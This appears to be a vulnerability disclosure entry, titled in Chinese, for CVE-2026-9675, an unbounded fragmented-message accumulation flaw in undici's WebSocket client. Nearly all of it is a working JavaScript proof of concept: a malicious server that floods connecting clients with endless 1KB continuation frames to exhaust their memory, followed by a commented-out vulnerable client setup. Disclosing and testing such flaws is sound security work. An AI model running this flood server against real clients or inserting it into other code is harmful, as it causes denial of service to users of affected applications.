undici WebSocket客户端分片消息累积大小未限制导致拒绝服务漏洞

// PoC for CVE-2026-9675: undici WebSocket fragmented message DoS // This PoC demonstrates a malicious WebSocket server that sends // many small fragments to exhaust client memory. // Malicious WebSocket Server (using 'ws' library) const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('Client connected, starting fragmented message flood...'); // Start a fragmented message (FIN bit = 0 indicates continuation frame) // Each fragment is small enough to pass per-frame validation // but collectively they exhaust client memory const fragmentSize = 1024; // 1KB per fragment (small enough to pass per-frame check) const fragment = Buffer.alloc(fragmentSize, 'A'); // Send first frame (FIN=0, opcode=0x1 text) ws.send(fragment, { binary: false, fin: false }); // Continuously send continuation frames (FIN=0, opcode=0x0) // Each passes per-frame maxPayloadSize check // but cumulative size grows unbounded const interval = setInterval(() => { try { ws.send(fragment, { binary: false, fin: false }); } catch (e) { clearInterval(interval); console.log('Client disconnected or error:', e.message); } }, 1); // Send as fast as possible ws.on('close', () => { clearInterval(interval); console.log('Client disconnected'); }); }); console.log('Malicious WebSocket server listening on ws://localhost:8080'); // --- Vulnerable Client (undici 8.1.0) --- // const { WebSocket } = require('undici'); // const ws = new WebSocket('ws://localhost:8080', { // maxPayloadSize: 4096 // Only enforces per-frame, not cumulative // }); // ws.onmessage = (event) => { /* client memory grows unbounded */ };